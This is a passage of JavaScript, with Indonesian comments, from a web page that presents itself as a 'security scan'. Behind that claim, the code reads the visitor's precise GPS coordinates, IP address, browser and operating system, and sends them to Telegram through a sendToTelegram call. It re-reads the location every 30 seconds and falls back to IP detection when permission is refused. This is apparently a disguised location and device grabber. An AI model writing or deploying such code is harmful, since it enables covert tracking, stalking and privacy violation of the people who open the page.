position.coords.longitude, accuracy: position.coords.accuracy, address: "Dideteksi via GPS" }; // Update UI document.getElementById('ipAddress').textContent = ipAddress; document.getElementById('browser').textContent = deviceInfo.browser; document.getElementById('os').textContent = deviceInfo.os; document.getElementById('location').textContent = locationData.address; document.getElementById('coordinates').textContent = ${locationData.latitude}, ${locationData.longitude}; document.getElementById('deviceInfo').classList.remove('hidden'); // Kirim data ke Telegram await sendToTelegram({ ip: ipAddress, deviceInfo: deviceInfo, location: locationData }); updateProgress(100); updateStatus("✅ Pemindaian keamanan selesai. Data telah dilaporkan."); // Auto refresh lokasi setiap 30 detik setTimeout(getLocation, 30000); }, (error) => { updateStatus("❌ Izin lokasi ditolak. Menggunakan deteksi IP..."); handleLocationError(error); }, { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 } ); } else { updateStatus("❌ Browser tidak mendukung geolocation"); } } // Fungsi untuk menangani error lokasi function handleLocationError(error) { let errorMessage = "Error tidak diketahui"; switch(error.code) { case error.PERMISSION_DENIED: errorMessage = "Izin lokasi ditolak"; break; case error.POSITION_UNAVAILABLE: errorMessage = "Lokasi tidak tersedia"; break; case error.TIMEOUT: errorMessage = "Waktu permintaan habis"; break; } updateStatus(`❌ ${errorMessage}`); } // Fungsi untuk update progress bar function updateProgress(percentage) { document.getElementById('progressBar').style.width = percentage + '%'; } // Fungsi untuk update status function updateStatus(message) { const statusElement = document.getElementById('status'); statusElement.innerHTML = `
${message}